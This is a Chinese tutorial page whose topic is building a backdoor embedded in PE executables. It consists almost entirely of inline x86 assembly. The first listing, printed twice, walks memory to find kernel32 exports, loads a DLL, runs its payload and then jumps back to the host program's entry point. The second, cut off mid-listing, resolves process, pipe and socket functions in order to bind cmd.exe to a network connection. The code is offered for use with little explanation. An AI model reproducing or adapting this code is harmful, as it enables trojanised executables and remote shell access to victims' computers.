Java教程

PE可执行文件的镶入式程序后门开发

本文主要是介绍PE可执行文件的镶入式程序后门开发，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

   PE可执行文件的镶入式程序后门开发    

 

  1. /*  
  2.     利用异常结构处理搜索GetProcAddress入口地址  
  3. */   
  4. #include   
  5. #include   
  6. main()   
  7. {   
  8.    
  9.     _asm   
  10.     {   
  11.         call ex//取得当前地址以计算异常结构开始的地址    
  12.         mov     eax,0x77000000   
  13.         mov     [ebp-0ch],eax   
  14.         mov     eax,esp   
  15.         sub     eax,8   
  16.         xchg    fs:[0],eax   
  17.         mov DWORD ptr[ebp-00h],eax   
  18.         mov eax,fs:[4]   
  19.         mov DWORD ptr[ebp-04h],eax   
  20.         mov     fs:[4h],ebp//保存ebp到fs:[4h]中    
  21.         add     ecx,34h   
  22.         push    ecx   
  23.         push    eax   
  24.         mov     edx,0   
  25.         mov     byte ptr [edx],0//产生错误    
  26.     }   
  27.    
  28.    
  29. //异常结构开始    
  30.         _asm   
  31.         {   
  32.             mov ebp,fs:[4]   
  33.             mov         dword ptr [ebp-8h],0   
  34. //for(;imgbase<0xff000000,procgetadd==0;){    
  35. e104f:   
  36.            cmp         dword ptr [ebp-8h],0   
  37.            jne         exi   
  38. //imgbase+=0x10000;    
  39.    mov         eax,[ebp-0ch]   
  40.    add         eax,10000h   
  41.    mov         [ebp-0ch],eax   
  42. //if(imgbase==0x78000000) imgbase=0xbff00000;    
  43.    cmp         dword ptr [ebp-0ch],78000000h   
  44.    jne         is44   
  45.    mov         dword ptr [ebp-0ch],0BFF00000h   
  46.    
  47. /*if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int  
  48. *)(imgbase+0x3c))=='EP'){*/   
  49.    
  50. is44:   
  51.    
  52.    mov         ecx,dword ptr [ebp-0ch]   
  53.    xor         edx,edx   
  54.    mov         dx,word ptr [ecx]   
  55.    mov         dword ptr [ebp-24h],ecx   
  56.    cmp         edx,5A4Dh//ZM    
  57.    jne         e11db   
  58.    mov         eax,[ebp-0ch]   
  59.    mov         ecx,dword ptr [eax+3Ch]   
  60.    mov         edx,dword ptr [ebp-0ch]   
  61.    xor         eax,eax   
  62.    mov         ax,word ptr [edx+ecx]   
  63.    cmp         eax,4550h   
  64.    jne         e11db   
  65.        
  66. //fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;    
  67.    mov         ecx,dword ptr [ebp-0ch]   
  68.    mov         edx,dword ptr [ecx+3Ch]   
  69.    mov         eax,[ebp-0ch]   
  70.    mov         ecx,dword ptr [eax+edx+78h]   
  71.    add         ecx,dword ptr [ebp-0ch]   
  72.    mov         dword ptr [ebp-10h],ecx   
  73. // k=*(int *)(fnbase+0xc)+imgbase;    
  74.    mov         edx,dword ptr [ebp-10h]   
  75.    mov         eax,dword ptr [edx+0Ch]   
  76.    add         eax,dword ptr [ebp-0ch]   
  77.    mov         dword ptr [ebp-14h],eax   
  78.    
  79. //if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){    
  80.    mov         ecx,dword ptr [ebp-14h]   
  81.    cmp         dword ptr [ecx],4E52454Bh   
  82.    jne         e11db   
  83.    mov         edx,dword ptr [ebp-14h]   
  84.    cmp         dword ptr [edx+4],32334C45h   
  85.    jne         e11db   
  86. //k=imgbase+*(int *)(fnbase+0x20);    
  87.    mov         eax,dword ptr [ebp-10h]   
  88.    mov         ecx,dword ptr [ebp-0ch]   
  89.    add         ecx,dword ptr [eax+20h]   
  90.    mov         dword ptr [ebp-14h],ecx   
  91. //for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){    
  92.    mov         dword ptr [ebp-18h],0   
  93.    jmp         e1127   
  94. e1115:   
  95.    mov         edx,dword ptr [ebp-18h]   
  96.    add         edx,1   
  97.    mov         dword ptr [ebp-18h],edx   
  98.    mov         eax,dword ptr [ebp-14h]   
  99.    add         eax,4   
  100.    mov         dword ptr [ebp-14h],eax   
  101. e1127:   
  102.    mov         ecx,dword ptr [ebp-10h]   
  103.    mov         edx,dword ptr [ebp-18h]   
  104.    cmp         edx,dword ptr [ecx+18h]   
  105.    jge         e11db   
  106. /*if(*(int *)(imgbase+*(int *)k)=='tixE'&&*(int *)(4+imgbase+*(int  
  107.  *)k)=='corP'){GetProcAddress*/   
  108.    mov         eax,dword ptr [ebp-14h]   
  109.    mov         ecx,dword ptr [eax]   
  110.    mov         edx,dword ptr [ebp-0ch]   
  111.    cmp         dword ptr [edx+ecx],'PteG'   
  112.    jne         e11d6   
  113.    mov         eax,dword ptr [ebp-14h]   
  114.    mov         ecx,dword ptr [eax]   
  115.    mov         edx,dword ptr [ebp-0ch]   
  116.    cmp         dword ptr [edx+ecx+4],'Acor'   
  117.    jne         e11d6   
  118. //k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));    
  119.    mov         eax,dword ptr [ebp-18h]   
  120.   add         eax,dword ptr [ebp-18h]   
  121.   add         eax,dword ptr [ebp-0ch]   
  122.   mov         ecx,dword ptr [ebp-10h]   
  123.    mov         edx,dword ptr [ecx+24h]   
  124.    xor         ecx,ecx   
  125.    mov         cx,word ptr [eax+edx]   
  126.    mov         dword ptr [ebp-14h],ecx   
  127. //k+=*(int *)(fnbase+0x10)-1;    
  128.    mov         edx,dword ptr [ebp-10h]   
  129.    mov         eax,dword ptr [edx+10h]   
  130.    mov         ecx,dword ptr [ebp-14h]   
  131.    lea         edx,dword ptr [ecx+eax-1]   
  132.    mov         dword ptr [ebp-14h],edx   
  133. //k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));    
  134.    mov         eax,dword ptr [ebp-14h]   
  135.    add         eax,dword ptr [ebp-14h]   
  136.    add         eax,dword ptr [ebp-14h]   
  137.    add         eax,dword ptr [ebp-14h]   
  138.    add         eax,dword ptr [ebp-0ch]   
  139.    mov         ecx,dword ptr [ebp-10h]   
  140.    mov         edx,dword ptr [ecx+1Ch]   
  141.    mov         eax,dword ptr [eax+edx]   
  142.    mov         dword ptr [ebp-14h],eax   
  143.    mov         edx,dword ptr [ebp-14h]   
  144. //add edx,imgbase    
  145.    add         edx,dword ptr [ebp-0ch]   
  146. // mov procgetadd,edx    
  147.    mov         dword ptr [ebp-8h],edx   
  148.    
  149. //恢复异常结构    
  150.    
  151.         mov eax,DWORD ptr[ebp-00h]   
  152.         mov fs:[0],eax   
  153.         mov eax,DWORD ptr[ebp-04h]   
  154.         mov fs:[4],eax   
  155.    
  156.    jmp         e11db   
  157. e11d6:   
  158.    jmp         e1115   
  159. e11db:   
  160.    jmp         e104f   
  161.    
  162.    
  163. }   
  164. //////////////////////////////////////////////////////////////    
  165. exi:   
  166. //取得LoadLibraryA入口地址    
  167.    
  168.     _asm   
  169.     {   
  170.     mov         dword ptr [ebp-124h],'daoL'   
  171.     mov         dword ptr [ebp-120h],'rbiL'   
  172.     mov         dword ptr [ebp-11Ch],'Ayra'   
  173.     mov         dword ptr [ebp-118h],0000h   
  174.     lea eax,[ebp-124h]   
  175.     push eax    
  176.     mov   ebx,dword ptr [ebp-24h]//kernel32.dll 入口地址    
  177.     push ebx   
  178.     mov   eax,dword ptr [ebp-8h]   
  179.     mov   dword ptr [ebp-4008h],eax//GetProcAddress 入口地址    
  180.     call eax   
  181.     mov   dword ptr [ebp-400ch],eax//LoadLibraryA 入口地址    
  182.     }   
  183.    
  184. //加载 mydll.dll    
  185.    
  186.     _asm   
  187.     {   
  188.     mov         dword ptr [ebp-124h],'ldym'   
  189.     mov         dword ptr [ebp-120h],'ld.l'   
  190.     mov         dword ptr [ebp-11Ch],'l'   
  191.     mov         dword ptr [ebp-118h],0000h   
  192.     lea eax,[ebp-124h]   
  193.     push eax    
  194.     call dword ptr [ebp-400ch]   
  195.     cmp         eax,0   
  196.     jz  exit1   
  197.     mov ebx,eax   
  198.    
  199. //取得mybegin入口地址    
  200.    
  201.     mov         dword ptr [ebp-124h],'gebM'   
  202.     mov         dword ptr [ebp-120h],'ni'   
  203.     mov         dword ptr [ebp-11Ch],0000h   
  204.     mov         dword ptr [ebp-118h],0000h   
  205.     lea eax,[ebp-124h]   
  206.     push eax    
  207.     push ebx   
  208.     call dword ptr [ebp-4008h]   
  209.     mov   dword ptr [ebp-4030h],eax//mybegin入口地址    
  210.     cmp         eax,0   
  211.     jz  exit1   
  212.     call eax //执行mybegin    
  213.     jmp exit1   
  214.         }   
  215.    
  216. ex:   
  217.     _asm   
  218.     {   
  219.         pop ecx   
  220.         push ecx   
  221.         ret   
  222.     }   
  223. exit1:   
  224.    
  225.    _asm   
  226.    {   
  227.     mov eax,0x401000 //这个跳转地址在代码中需要更改    
  228.     jmp eax   
  229.    }   
  230. return 0;   
  231. }  
/* 
	利用异常结构处理搜索GetProcAddress入口地址 
*/ 
#include  
#include  
main() 
{ 
 
	_asm 
	{ 
		call ex//取得当前地址以计算异常结构开始的地址 
		mov		eax,0x77000000 
		mov		[ebp-0ch],eax 
		mov     eax,esp 
		sub     eax,8 
		xchg    fs:[0],eax 
		mov DWORD ptr[ebp-00h],eax 
		mov	eax,fs:[4] 
		mov DWORD ptr[ebp-04h],eax 
		mov		fs:[4h],ebp//保存ebp到fs:[4h]中 
		add		ecx,34h 
		push    ecx 
		push    eax 
		mov     edx,0 
		mov     byte ptr [edx],0//产生错误 
	} 
 
 
//异常结构开始 
		_asm 
		{ 
			mov	ebp,fs:[4] 
			mov         dword ptr [ebp-8h],0 
//for(;imgbase<0xff000000,procgetadd==0;){ 
e104f: 
		   cmp         dword ptr [ebp-8h],0 
		   jne         exi 
//imgbase+=0x10000; 
   mov         eax,[ebp-0ch] 
   add         eax,10000h 
   mov         [ebp-0ch],eax 
//if(imgbase==0x78000000) imgbase=0xbff00000; 
   cmp         dword ptr [ebp-0ch],78000000h 
   jne         is44 
   mov         dword ptr [ebp-0ch],0BFF00000h 
 
/*if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int 
*)(imgbase+0x3c))=='EP'){*/ 
 
is44: 
 
   mov         ecx,dword ptr [ebp-0ch] 
   xor         edx,edx 
   mov         dx,word ptr [ecx] 
   mov         dword ptr [ebp-24h],ecx 
   cmp         edx,5A4Dh//ZM 
   jne         e11db 
   mov         eax,[ebp-0ch] 
   mov         ecx,dword ptr [eax+3Ch] 
   mov         edx,dword ptr [ebp-0ch] 
   xor         eax,eax 
   mov         ax,word ptr [edx+ecx] 
   cmp         eax,4550h 
   jne         e11db 
     
//fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase; 
   mov         ecx,dword ptr [ebp-0ch] 
   mov         edx,dword ptr [ecx+3Ch] 
   mov         eax,[ebp-0ch] 
   mov         ecx,dword ptr [eax+edx+78h] 
   add         ecx,dword ptr [ebp-0ch] 
   mov         dword ptr [ebp-10h],ecx 
// k=*(int *)(fnbase+0xc)+imgbase; 
   mov         edx,dword ptr [ebp-10h] 
   mov         eax,dword ptr [edx+0Ch] 
   add         eax,dword ptr [ebp-0ch] 
   mov         dword ptr [ebp-14h],eax 
 
//if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){ 
   mov         ecx,dword ptr [ebp-14h] 
   cmp         dword ptr [ecx],4E52454Bh 
   jne         e11db 
   mov         edx,dword ptr [ebp-14h] 
   cmp         dword ptr [edx+4],32334C45h 
   jne         e11db 
//k=imgbase+*(int *)(fnbase+0x20); 
   mov         eax,dword ptr [ebp-10h] 
   mov         ecx,dword ptr [ebp-0ch] 
   add         ecx,dword ptr [eax+20h] 
   mov         dword ptr [ebp-14h],ecx 
//for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){ 
   mov         dword ptr [ebp-18h],0 
   jmp         e1127 
e1115: 
   mov         edx,dword ptr [ebp-18h] 
   add         edx,1 
   mov         dword ptr [ebp-18h],edx 
   mov         eax,dword ptr [ebp-14h] 
   add         eax,4 
   mov         dword ptr [ebp-14h],eax 
e1127: 
   mov         ecx,dword ptr [ebp-10h] 
   mov         edx,dword ptr [ebp-18h] 
   cmp         edx,dword ptr [ecx+18h] 
   jge         e11db 
/*if(*(int *)(imgbase+*(int *)k)=='tixE'&&*(int *)(4+imgbase+*(int 
 *)k)=='corP'){GetProcAddress*/ 
   mov         eax,dword ptr [ebp-14h] 
   mov         ecx,dword ptr [eax] 
   mov         edx,dword ptr [ebp-0ch] 
   cmp         dword ptr [edx+ecx],'PteG' 
   jne         e11d6 
   mov         eax,dword ptr [ebp-14h] 
   mov         ecx,dword ptr [eax] 
   mov         edx,dword ptr [ebp-0ch] 
   cmp         dword ptr [edx+ecx+4],'Acor' 
   jne         e11d6 
//k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24)); 
   mov         eax,dword ptr [ebp-18h] 
  add         eax,dword ptr [ebp-18h] 
  add         eax,dword ptr [ebp-0ch] 
  mov         ecx,dword ptr [ebp-10h] 
   mov         edx,dword ptr [ecx+24h] 
   xor         ecx,ecx 
   mov         cx,word ptr [eax+edx] 
   mov         dword ptr [ebp-14h],ecx 
//k+=*(int *)(fnbase+0x10)-1; 
   mov         edx,dword ptr [ebp-10h] 
   mov         eax,dword ptr [edx+10h] 
   mov         ecx,dword ptr [ebp-14h] 
   lea         edx,dword ptr [ecx+eax-1] 
   mov         dword ptr [ebp-14h],edx 
//k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c)); 
   mov         eax,dword ptr [ebp-14h] 
   add         eax,dword ptr [ebp-14h] 
   add         eax,dword ptr [ebp-14h] 
   add         eax,dword ptr [ebp-14h] 
   add         eax,dword ptr [ebp-0ch] 
   mov         ecx,dword ptr [ebp-10h] 
   mov         edx,dword ptr [ecx+1Ch] 
   mov         eax,dword ptr [eax+edx] 
   mov         dword ptr [ebp-14h],eax 
   mov         edx,dword ptr [ebp-14h] 
//add edx,imgbase 
   add         edx,dword ptr [ebp-0ch] 
// mov procgetadd,edx 
   mov         dword ptr [ebp-8h],edx 
 
//恢复异常结构 
 
		mov eax,DWORD ptr[ebp-00h] 
		mov	fs:[0],eax 
		mov eax,DWORD ptr[ebp-04h] 
		mov	fs:[4],eax 
 
   jmp         e11db 
e11d6: 
   jmp         e1115 
e11db: 
   jmp         e104f 
 
 
} 
////////////////////////////////////////////////////////////// 
exi: 
//取得LoadLibraryA入口地址 
 
	_asm 
	{ 
	mov         dword ptr [ebp-124h],'daoL' 
	mov         dword ptr [ebp-120h],'rbiL' 
	mov         dword ptr [ebp-11Ch],'Ayra' 
	mov         dword ptr [ebp-118h],0000h 
	lea eax,[ebp-124h] 
	push eax  
	mov   ebx,dword ptr [ebp-24h]//kernel32.dll 入口地址 
	push ebx 
	mov   eax,dword ptr [ebp-8h] 
	mov   dword ptr [ebp-4008h],eax//GetProcAddress 入口地址 
	call eax 
	mov   dword ptr [ebp-400ch],eax//LoadLibraryA 入口地址 
	} 
 
//加载 mydll.dll 
 
	_asm 
	{ 
	mov         dword ptr [ebp-124h],'ldym' 
	mov         dword ptr [ebp-120h],'ld.l' 
	mov         dword ptr [ebp-11Ch],'l' 
	mov         dword ptr [ebp-118h],0000h 
	lea eax,[ebp-124h] 
	push eax  
	call dword ptr [ebp-400ch] 
	cmp         eax,0 
	jz	exit1 
	mov ebx,eax 
 
//取得mybegin入口地址 
 
	mov         dword ptr [ebp-124h],'gebM' 
	mov         dword ptr [ebp-120h],'ni' 
	mov         dword ptr [ebp-11Ch],0000h 
	mov         dword ptr [ebp-118h],0000h 
	lea eax,[ebp-124h] 
	push eax  
	push ebx 
	call dword ptr [ebp-4008h] 
	mov   dword ptr [ebp-4030h],eax//mybegin入口地址 
	cmp         eax,0 
	jz	exit1 
	call eax //执行mybegin 
	jmp exit1 
		} 
 
ex: 
	_asm 
	{ 
		pop ecx 
		push ecx 
		ret 
	} 
exit1: 
 
   _asm 
   { 
	mov eax,0x401000 //这个跳转地址在代码中需要更改 
	jmp eax 
   } 
return 0; 
}


  1. /*  
  2.     利用异常结构处理搜索GetProcAddress入口地址  
  3.     然后用这个函数加载其他api函数.实现线程一个返回另一个  
  4.     绑定cmd.exe或command.com功能  
  5. */   
  6. #include   
  7. #include   
  8. main()   
  9. {   
  10.     _asm   
  11.     {   
  12.         call ex   
  13.         mov     eax,0x77000000   
  14.         mov     [ebp-0ch],eax   
  15.         mov     eax,esp   
  16.         sub     eax,8   
  17.         xchg    fs:[0],eax   
  18.         mov DWORD ptr[ebp-00h],eax   
  19.         mov eax,fs:[4]   
  20.         mov DWORD ptr[ebp-04h],eax   
  21.         mov     fs:[4h],ebp   
  22.         add     ecx,34h   
  23.         push    ecx   
  24.         push    eax   
  25.         mov     edx,0   
  26.         mov     byte ptr [edx],0   
  27.         mov ebp,fs:[4]   
  28.         mov         dword ptr [ebp-8h],0   
  29. e104f:   
  30.    cmp         dword ptr [ebp-8h],0   
  31.    jne         exi   
  32.    mov         eax,[ebp-0ch]   
  33.    add         eax,10000h   
  34.    mov         [ebp-0ch],eax   
  35.    cmp         dword ptr [ebp-0ch],78000000h   
  36.    jne         is44   
  37.    mov         dword ptr [ebp-0ch],0BFF00000h   
  38. is44:   
  39.    mov         ecx,dword ptr [ebp-0ch]   
  40.    xor         edx,edx   
  41.    mov         dx,word ptr [ecx]   
  42.    mov         dword ptr [ebp-24h],ecx   
  43.    cmp         edx,5A4Dh//ZM    
  44.    jne         e11db   
  45.    mov         eax,[ebp-0ch]   
  46.    mov         ecx,dword ptr [eax+3Ch]   
  47.    mov         edx,dword ptr [ebp-0ch]   
  48.    xor         eax,eax   
  49.    mov         ax,word ptr [edx+ecx]   
  50.    cmp         eax,4550h   
  51.    jne         e11db   
  52.    mov         ecx,dword ptr [ebp-0ch]   
  53.    mov         edx,dword ptr [ecx+3Ch]   
  54.    mov         eax,[ebp-0ch]   
  55.    mov         ecx,dword ptr [eax+edx+78h]   
  56.    add         ecx,dword ptr [ebp-0ch]   
  57.    mov         dword ptr [ebp-10h],ecx   
  58.    mov         edx,dword ptr [ebp-10h]   
  59.    mov         eax,dword ptr [edx+0Ch]   
  60.    add         eax,dword ptr [ebp-0ch]   
  61.    mov         dword ptr [ebp-14h],eax   
  62.    mov         ecx,dword ptr [ebp-14h]   
  63.    cmp         dword ptr [ecx],4E52454Bh   
  64.    jne         e11db   
  65.    mov         edx,dword ptr [ebp-14h]   
  66.    cmp         dword ptr [edx+4],32334C45h   
  67.    jne         e11db   
  68.    mov         eax,dword ptr [ebp-10h]   
  69.    mov         ecx,dword ptr [ebp-0ch]   
  70.    add         ecx,dword ptr [eax+20h]   
  71.    mov         dword ptr [ebp-14h],ecx   
  72.    mov         dword ptr [ebp-18h],0   
  73.    jmp         e1127   
  74. e1115:   
  75.    mov         edx,dword ptr [ebp-18h]   
  76.    add         edx,1   
  77.    mov         dword ptr [ebp-18h],edx   
  78.    mov         eax,dword ptr [ebp-14h]   
  79.    add         eax,4   
  80.    mov         dword ptr [ebp-14h],eax   
  81. e1127:   
  82.    mov         ecx,dword ptr [ebp-10h]   
  83.    mov         edx,dword ptr [ebp-18h]   
  84.    cmp         edx,dword ptr [ecx+18h]   
  85.    jge         e11db   
  86.    mov         eax,dword ptr [ebp-14h]   
  87.    mov         ecx,dword ptr [eax]   
  88.    mov         edx,dword ptr [ebp-0ch]   
  89.    cmp         dword ptr [edx+ecx],'PteG'   
  90.    jne         e11d6   
  91.    mov         eax,dword ptr [ebp-14h]   
  92.    mov         ecx,dword ptr [eax]   
  93.    mov         edx,dword ptr [ebp-0ch]   
  94.    cmp         dword ptr [edx+ecx+4],'Acor'   
  95.    jne         e11d6   
  96.    mov         eax,dword ptr [ebp-18h]   
  97.   add         eax,dword ptr [ebp-18h]   
  98.   add         eax,dword ptr [ebp-0ch]   
  99.   mov         ecx,dword ptr [ebp-10h]   
  100.    mov         edx,dword ptr [ecx+24h]   
  101.    xor         ecx,ecx   
  102.    mov         cx,word ptr [eax+edx]   
  103.    mov         dword ptr [ebp-14h],ecx   
  104.    mov         edx,dword ptr [ebp-10h]   
  105.    mov         eax,dword ptr [edx+10h]   
  106.    mov         ecx,dword ptr [ebp-14h]   
  107.    lea         edx,dword ptr [ecx+eax-1]   
  108.    mov         dword ptr [ebp-14h],edx   
  109.    mov         eax,dword ptr [ebp-14h]   
  110.    add         eax,dword ptr [ebp-14h]   
  111.    add         eax,dword ptr [ebp-14h]   
  112.    add         eax,dword ptr [ebp-14h]   
  113.    add         eax,dword ptr [ebp-0ch]   
  114.    mov         ecx,dword ptr [ebp-10h]   
  115.    mov         edx,dword ptr [ecx+1Ch]   
  116.    mov         eax,dword ptr [eax+edx]   
  117.    mov         dword ptr [ebp-14h],eax   
  118.    mov         edx,dword ptr [ebp-14h]   
  119.    add         edx,dword ptr [ebp-0ch]   
  120.    mov         dword ptr [ebp-8h],edx   
  121. //恢复异常结构    
  122.         mov eax,DWORD ptr[ebp-00h]   
  123.         mov fs:[0],eax   
  124.         mov eax,DWORD ptr[ebp-04h]   
  125.         mov fs:[4],eax   
  126.    jmp         e11db   
  127. e11d6:   
  128.    jmp         e1115   
  129. e11db:   
  130.    jmp         e104f   
  131.    
  132. }   
  133.    
  134. //////////////////////////////////////////////////////////////    
  135.    
  136. exi:   
  137.    
  138. //取得各个需要函数的地址    
  139.    
  140. //取得LoadLibraryA入口地址    
  141.     _asm   
  142.    
  143.     {   
  144.     call ex1   
  145.     mov dword ptr [ecx-0C70h],ebp   
  146.     mov         dword ptr [ebp-124h],'daoL'   
  147.     mov         dword ptr [ebp-120h],'rbiL'   
  148.     mov         dword ptr [ebp-11Ch],'Ayra'   
  149.     mov         dword ptr [ebp-118h],0000h   
  150.     lea eax,[ebp-124h]   
  151.     push eax    
  152.     mov   ebx,dword ptr [ebp-24h]//kernel32.dll 入口地址    
  153.     push ebx   
  154.     mov   eax,dword ptr [ebp-8h]   
  155.     mov   dword ptr [ebp-4008h],eax//GetProcAddress 入口地址    
  156.     call eax   
  157.     mov   dword ptr [ebp-400ch],eax//LoadLibraryA 入口地址    
  158.    
  159. //CreatePipe入口地址    
  160.     mov         dword ptr [ebp-124h],'aerC'   
  161.     mov         dword ptr [ebp-120h],'iPet'   
  162.     mov         dword ptr [ebp-11Ch],'ep'   
  163.     mov         dword ptr [ebp-118h],0000h   
  164.     lea eax,[ebp-124h]   
  165.     push eax    
  166.     push ebx   
  167.     call dword ptr [ebp-8h]   
  168.     mov   dword ptr [ebp-4000h],eax//CreatePipe入口地址    
  169.     cmp         eax,0   
  170.     jz  exit1   
  171.    
  172. //GetVersion入口地址    
  173.    
  174.     mov         dword ptr [ebp-124h],'VteG'   
  175.     mov         dword ptr [ebp-120h],'isre'   
  176.     mov         dword ptr [ebp-11Ch],'no'   
  177.     mov         dword ptr [ebp-118h],0000h   
  178.     lea eax,[ebp-124h]   
  179.     push eax    
  180.     push ebx   
  181.     call dword ptr [ebp-8h]   
  182.     mov   dword ptr [ebp-4004h],eax//GetVersion 入口地址    
  183.     cmp         eax,0   
  184.     jz  exit1   
  185.    
  186. //CloseHandle入口地址    
  187.    
  188.     mov         dword ptr [ebp-124h],'solC'   
  189.     mov         dword ptr [ebp-120h],'naHe'   
  190.     mov         dword ptr [ebp-11Ch],'eld'   
  191.     mov         dword ptr [ebp-118h],0000h   
  192.     lea eax,[ebp-124h]   
  193.     push eax    
  194.     push ebx   
  195.     call dword ptr [ebp-8h]   
  196.     mov   dword ptr [ebp-4010h],eax//CloseHandle 入口地址    
  197.     cmp         eax,0   
  198.     jz  exit1   
  199.    
  200. //ExitThread入口地址    
  201.    
  202.     mov         dword ptr [ebp-124h],'tixE'   
  203.     mov         dword ptr [ebp-120h],'erhT'   
  204.     mov         dword ptr [ebp-11Ch],'da'   
  205.     mov         dword ptr [ebp-118h],0000h   
  206.     lea eax,[ebp-124h]   
  207.     push eax    
  208.     push ebx   
  209.     call dword ptr [ebp-8h]   
  210.     mov   dword ptr [ebp-4014h],eax//ExitThread入口地址    
  211.     cmp         eax,0   
  212.     jz  exit1   
  213.    
  214. //Sleep入口地址    
  215.    
  216.     mov         dword ptr [ebp-124h],'eelS'   
  217.     mov         dword ptr [ebp-120h],'p'   
  218.     mov         dword ptr [ebp-11Ch],0000h   
  219.     lea eax,[ebp-124h]   
  220.     push eax    
  221.     push ebx   
  222.     call dword ptr [ebp-8h]   
  223.     mov   dword ptr [ebp-4018h],eax//Sleep入口地址    
  224.     cmp         eax,0   
  225.     jz  exit1   
  226.    
  227. //WriteFile入口地址    
  228.    
  229.     mov         dword ptr [ebp-124h],'tirW'   
  230.     mov         dword ptr [ebp-120h],'liFe'   
  231.     mov         dword ptr [ebp-11Ch],'e'   
  232.     mov         dword ptr [ebp-118h],0000h   
  233.     lea eax,[ebp-124h]   
  234.     push eax    
  235.     push ebx   
  236.     call dword ptr [ebp-8h]   
  237.     mov   dword ptr [ebp-401Ch],eax//WriteFile入口地址    
  238.     cmp         eax,0   
  239.     jz  exit1   
  240.    
  241. //PeekNamedPipe入口地址    
  242.    
  243.     mov         dword ptr [ebp-124h],'keeP'   
  244.     mov         dword ptr [ebp-120h],'emaN'   
  245.     mov         dword ptr [ebp-11Ch],'piPd'   
  246.     mov         dword ptr [ebp-118h],'e'   
  247.     lea eax,[ebp-124h]   
  248.     push eax    
  249.     push ebx   
  250.     call dword ptr [ebp-8h]   
  251.     mov   dword ptr [ebp-4020h],eax//PeekNamedPipe入口地址    
  252.     cmp         eax,0   
  253.     jz  exit1   
  254.    
  255. //ReadFile入口地址    
  256.    
  257.     mov         dword ptr [ebp-124h],'daeR'   
  258.     mov         dword ptr [ebp-120h],'eliF'   
  259.     mov         dword ptr [ebp-11Ch],0000h   
  260.     lea eax,[ebp-124h]   
  261.     push eax    
  262.     push ebx   
  263.     call dword ptr [ebp-8h]   
  264.     mov   dword ptr [ebp-4024h],eax//ReadFile入口地址    
  265.     cmp         eax,0   
  266.     jz  exit1   
  267.    
  268. //GetStartupInfoA入口地址    
  269.    
  270.     mov         dword ptr [ebp-124h],'SteG'   
  271.     mov         dword ptr [ebp-120h],'trat'   
  272.     mov         dword ptr [ebp-11Ch],'nIpu'   
  273.     mov         dword ptr [ebp-118h],'Aof'   
  274.     lea eax,[ebp-124h]   
  275.     push eax    
  276.     push ebx   
  277.     call dword ptr [ebp-8h]   
  278.     mov   dword ptr [ebp-4028h],eax//GetStartupInfoA入口地址    
  279.     cmp         eax,0   
  280.     jz  exit1   
  281.    
  282. //CreateProcessA入口地址    
  283.    
  284.     mov         dword ptr [ebp-124h],'aerC'   
  285.     mov         dword ptr [ebp-120h],'rPet'   
  286.     mov         dword ptr [ebp-11Ch],'seco'   
  287.     mov         dword ptr [ebp-118h],'As'   
  288.     lea eax,[ebp-124h]   
  289.     push eax    
  290.     push ebx   
  291.     call dword ptr [ebp-8h]   
  292.     mov   dword ptr [ebp-402Ch],eax//CreateProcessA入口地址    
  293.     cmp         eax,0   
  294.     jz  exit1   
  295.    
  296.     //CreateThread入口地址    
  297.    
  298.     mov         dword ptr [ebp-124h],'aerC'   
  299.     mov         dword ptr [ebp-120h],'hTet'   
  300.     mov         dword ptr [ebp-11Ch],'daer'   
  301.     mov         dword ptr [ebp-118h],0000h   
  302.     lea eax,[ebp-124h]   
  303.     push eax    
  304.     push ebx   
  305.     call dword ptr [ebp-8h]   
  306.     mov   dword ptr [ebp-4008h],eax//CreateThread入口地址    
  307.     cmp         eax,0   
  308.     jz  exit1   
  309.     }   
  310.    
  311. //load wsock32.dll    
  312.     _asm   
  313.     {   
  314.     mov         dword ptr [ebp-124h],'cosw'   
  315.     mov         dword ptr [ebp-120h],'.23k'   
  316.     mov         dword ptr [ebp-11Ch],'lld'   
  317.     mov         dword ptr [ebp-118h],0000h   
  318.     lea eax,[ebp-124h]   
  319.     push eax    
  320.     call dword ptr [ebp-400ch]   
  321.     cmp         eax,0   
  322.     jz  exit1   
  323.     mov ebx,eax   
  324.    
  325. //WSAStartup入口地址    
  326.    
  327.     mov         dword ptr [ebp-124h],'SASW'   
  328.     mov         dword ptr [ebp-120h],'trat'   
  329.     mov         dword ptr [ebp-11Ch],'pu'   
  330.     mov         dword ptr [ebp-118h],0000h   
  331.     lea eax,[ebp-124h]   
  332.     push eax    
  333.     push ebx   
  334.     call dword ptr [ebp-8h]   
  335.     mov   dword ptr [ebp-4030h],eax//WSAStartup入口地址    
  336.     cmp         eax,0   
  337.     jz  exit1   
  338. //__WSAFDIsSet入口地址    
  339.     mov         dword ptr [ebp-124h],'SW__'   
  340.     mov         dword ptr [ebp-120h],'IDFA'   
  341.     mov         dword ptr [ebp-11Ch],'teSs'   
  342.     mov         dword ptr [ebp-118h],0000h   
  343.     lea eax,[ebp-124h]   
  344.     push eax    
  345.     push ebx   
  346.     call dword ptr [ebp-8h]   
  347.     mov   dword ptr [ebp-4034h],eax//__WSAFDIsSet入口地址    
  348.     cmp         eax,0   
  349.     jz  exit1   
  350. //socket入口地址    
  351.     mov         dword ptr [ebp-124h],'kcos'   
  352.     mov         dword ptr [ebp-120h],'te'   
  353.     mov         dword ptr [ebp-11Ch],0000h   
  354.     lea eax,[ebp-124h]   
  355.     push eax    
  356.     push ebx   
  357.     call dword ptr [ebp-8h]   
  358.     mov   dword ptr [ebp-4038h],eax//socket入口地址    
  359.     cmp         eax,0   
  360.     jz  exit1   
  361. //closesocket入口地址    
  362.     mov         dword ptr [ebp-124h],'solc'   
  363.     mov         dword ptr [ebp-120h],'cose'   
  364.     mov         dword ptr [ebp-11Ch],'tek'   
  365.     mov         dword ptr [ebp-118h],0000h   
  366.     lea eax,[ebp-124h]   
  367.     push eax    
  368.     push ebx   
  369.     call dword ptr [ebp-8h]   
  370.     mov   dword ptr [ebp-403Ch],eax//closesocket入口地址    
  371.     cmp         eax,0   
